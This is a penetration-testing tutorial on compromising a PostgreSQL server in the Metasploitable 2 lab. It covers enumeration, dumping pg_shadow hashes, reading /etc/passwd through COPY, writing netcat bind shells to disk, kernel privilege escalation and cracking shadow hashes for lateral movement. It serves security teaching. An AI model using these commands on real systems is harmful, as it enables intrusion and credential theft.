A Penetration Tester’s Guide to PostgreSQL
PostgreSQL is an open source database which can be found mostly in Linux operating systems. However it has great compatibility with multiple operating systems and it can run in Windows and MacOS platforms as well. If the database is not properly configured and credentials have been obtained then it is possible to perform various activities like read and write system files and execution of arbitrary code.
The purpose of this article is to provide a methodology for penetration testers that can use when they are assessing a PostgreSQL database. Metasploitable 2 has been used for demonstration purposes since it contains the majority of the vulnerabilities and misconfigurations.
This guide is based on the original blog post from @NetbiosX or @panagiotis84 which was then deleted, for some industry spat in the United Kingdom?? So many thanks to Panagiotis!!!
Discovery and Version Fingerprinting
By default PostgreSQL databases are listening on port 5432. During the port scan stage if this port is found open then it is likely a PostgreSQL installation to run on the host.
nmap -sV 192.168.100.11 -p 5432
Alternatively Metasploit Framework has a specific module which can be used to identify PostgreSQL databases and their version.
Discovery of Database Credentials
It is very common to find in shared folders configuration files that might contain usernames and passwords for accessing the database. However if this is not feasible then the following Metasploit module can assist in the discovery of credentials by performing a brute force attack.
This is an important step as without database credentials it would be harder to compromise the host since the majority of the activities require database access.
Kali Linux distributions contain by default the psql utility which allows a user to authenticate with a PostgreSQL database if the username and the password are already known.
psql -h 192.168.100.11 -U postgres
Upon connection with the database the following set of activities should be performed:
- Enumeration of Existing Databases
- Enumeration of Database Users
- Enumeration of Database Tables
- Retrieving Table Contents
- Retrieving Database Passwords
- Dumping Database Contents
The following commands will execute the above tasks:
template1=# SELECT * FROM users;
postgres-# SELECT usename, passwd FROM pg_shadow;
pg_dump --host=192.168.100.11 --username=postgres --password --dbname=template1 --table='users' -f output_pgdump
Metasploit Framework can obtain as well some of the information above.
PostgreSQL databases can interact with the underlying operating by allowing the database administrator to execute various database commands and retrieve output from the system.
postgres=# select pg_ls_dir('./');
By executing the following command it is possible to read server side postgres files.
postgres=# select pg_read_file('PG_VERSION', 0, 200);
It is also possible to create a database table in order to store and view contents of a file that exist in the host.
postgres-# CREATE TABLE temp(t TEXT);
postgres-# COPY temp FROM '/etc/passwd';
postgres-# SELECT * FROM temp limit 1 offset 0;
Metasploit Framework has a specific module which can be used to automate the process of reading local files.
Except of reading the file contents PostgreSQL can be utilized to write files on the host like a bash file that could open a listener on a random port:
postgres=# CREATE TABLE pentestlab (t TEXT);
postgres=# INSERT INTO pentestlab(t) VALUES('nc -lvvp 2346 -e /bin/bash');
postgres=# SELECT * FROM pentestlab;
postgres=# COPY pentestlab(t) TO '/tmp/pentestlab';
Execution permissions should be applied on this file:
chmod +x pentestlab
Netcat can receive the connection:
nc -vn 192.168.100.11 2346
python -c "import pty;pty.spawn('/bin/bash')"
Execution of arbitrary code is also possible if the postgres service account has permissions to write into the /tmp directory through user defined functions (UDF).
If access to the host has been gained through credentials that have been discovered from a database table or via any other method then attempts should be performed to escalate privileges to root. Of course privilege escalation in Linux systems can be performed in various ways and is a complex effort but for the purposes of this article a kernel vulnerability has been used.
Retrieving full information about the Kernel version and the operating system will help in the discovery of vulnerabilities that are affecting the system.
user@metasploitable:/# uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
The easiest way from the moment that the Kernel version has been obtained is to use search exploitdb for local exploits that correspond to the specific version.
The exploit can be compiled either locally or on the remote system.
This specific exploit requires the creation of a run file inside the /tmp directory. This file will run when the exploit code will executed and it will open a connection on a specified port.
nc -lvvp 2345 -e /bin/bash
Permission to execute should be applied on this file:
chmod +x /tmp/run
The following commands will receive the connection that has been opened previously and spawn a python shell as root.
nc -vn 192.168.100.11 2345
python -c "import pty;pty.spawn('/bin/bash')"
The method above could be automated via Metasploit Framework so from the moment that a vulnerability has been discovered it is a good practice to check Metasploit for an associated module.
When the exploit code will executed another Meterpreter session will open as root user.
Even though root access has been achieved it is always a good practice to retrieve the password hashes for all the accounts in the system from the shadow file in order to crack them. This activity will not only allow the penetration tester to find accounts with weak passwords for reporting purposes but there is a high possibility to use some of the accounts to access other systems in the network.
The password hashes can be added into a .txt file in order to crack them with John the Ripper.
john --show /root/Desktop/password.txt
The command above will show the password hashes that have been cracked.
Now all the accounts of the Linux system have been cracked and it could be used to connect to other systems.